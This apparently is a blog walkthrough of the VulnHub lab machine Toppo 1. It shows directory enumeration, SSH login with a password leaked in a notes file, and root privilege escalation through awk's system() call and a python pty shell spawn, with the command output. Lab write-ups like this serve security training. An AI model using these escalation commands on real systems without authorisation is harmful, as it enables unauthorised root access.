Toppo 1 | Walkthrough | VulnHub

This is the latest machine in VulnHub , created by Hadi Mene .

So let's begin enumeration with Nmap.

Meanwhile I was looking into the source code to get some information, but nothing special was there.

So I fired up the Dirb to look into the hidden directories. Below is the output of Dirb. So I started looking into all these directories.

While browsing through directories, in admin directory i found notes.txt file. Below is the output for the same.

So in notes.txt, I found this note :

"Note to myself :

I need to change my password :/ 12345ted123 is too outdated but the technology isn't my thing i prefer go fishing or watching soccer."

As we know, while enumeration with Nmap, we found that port 22 and 80 is open. So ssh is possible here, here I took "ted" as username (Predicted) and "12345ted123" as password.

And it worked. So what's next??

We got successful login, and now let's move for the post exploitation.

So i started checking the directories

After checking I found nothing here. So I decided to check the Sudoers (Privilege Users)

As we can see here ted user can execute the awk file without any credentials, and also this machines covers the basic privilege escalation part through SUID.

Syntax : awk 'BEGIN {system("command")}' --> with the help of awk we can execute system commands.

If you are not familiar with SUID, follow the referred article and for privilege escalation through awk follow this article.



After executing the following commands, I got the Flag.

ted@Toppo:/tmp$ awk 'BEGIN {system("whoami")}'
root
ted@Toppo:/tmp$ awk 'BEGIN {system("ls -la /root")}'
total 24
drwx------  2 root root 4096 Apr 15 11:40 .
drwxr-xr-x 21 root root 4096 Apr 15 10:02 ..
-rw-------  1 root root   53 Apr 15 12:28 .bash_history
-rw-r--r--  1 root root  570 Jan 31  2010 .bashrc
-rw-r--r--  1 root root  397 Apr 15 10:19 flag.txt
-rw-r--r--  1 root root  140 Nov 19  2007 .profile
ted@Toppo:/tmp$ awk 'BEGIN {system("cat /root/flag.txt")}'
_________                                 
|  _   _  |                               
|_/ | | \_|.--.   _ .--.   _ .--.    .--. 
    | |  / .'`\ \[ '/'`\ \[ '/'`\ \/ .'`\ \
   _| |_ | \__. | | \__/ | | \__/ || \__. |
  |_____| '.__.'  | ;.__/  | ;.__/  '.__.' 
                 [__|     [__|             




Congratulations ! there is your flag : 0wnedlab{p4ssi0n_c0me_with_pract1ce}

You can also go with this method,


ted@Toppo:~$ python2.7 -c 'import pty;pty.spawn("/bin/sh")'
# whoami
root
# ls
# ls -al
total 24
drwxr-xr-x 2 ted  ted  4096 Apr 15 11:19 .
drwxr-xr-x 3 root root 4096 Apr 15 10:08 ..
-rw------- 1 ted  ted    55 Jul 23 04:02 .bash_history
-rw-r--r-- 1 ted  ted   220 Apr 15 10:08 .bash_logout
-rw-r--r-- 1 ted  ted  3515 Apr 15 10:08 .bashrc
-rw-r--r-- 1 ted  ted   675 Apr 15 10:08 .profile
# cat /root/flag.txt

Thanks for the reading.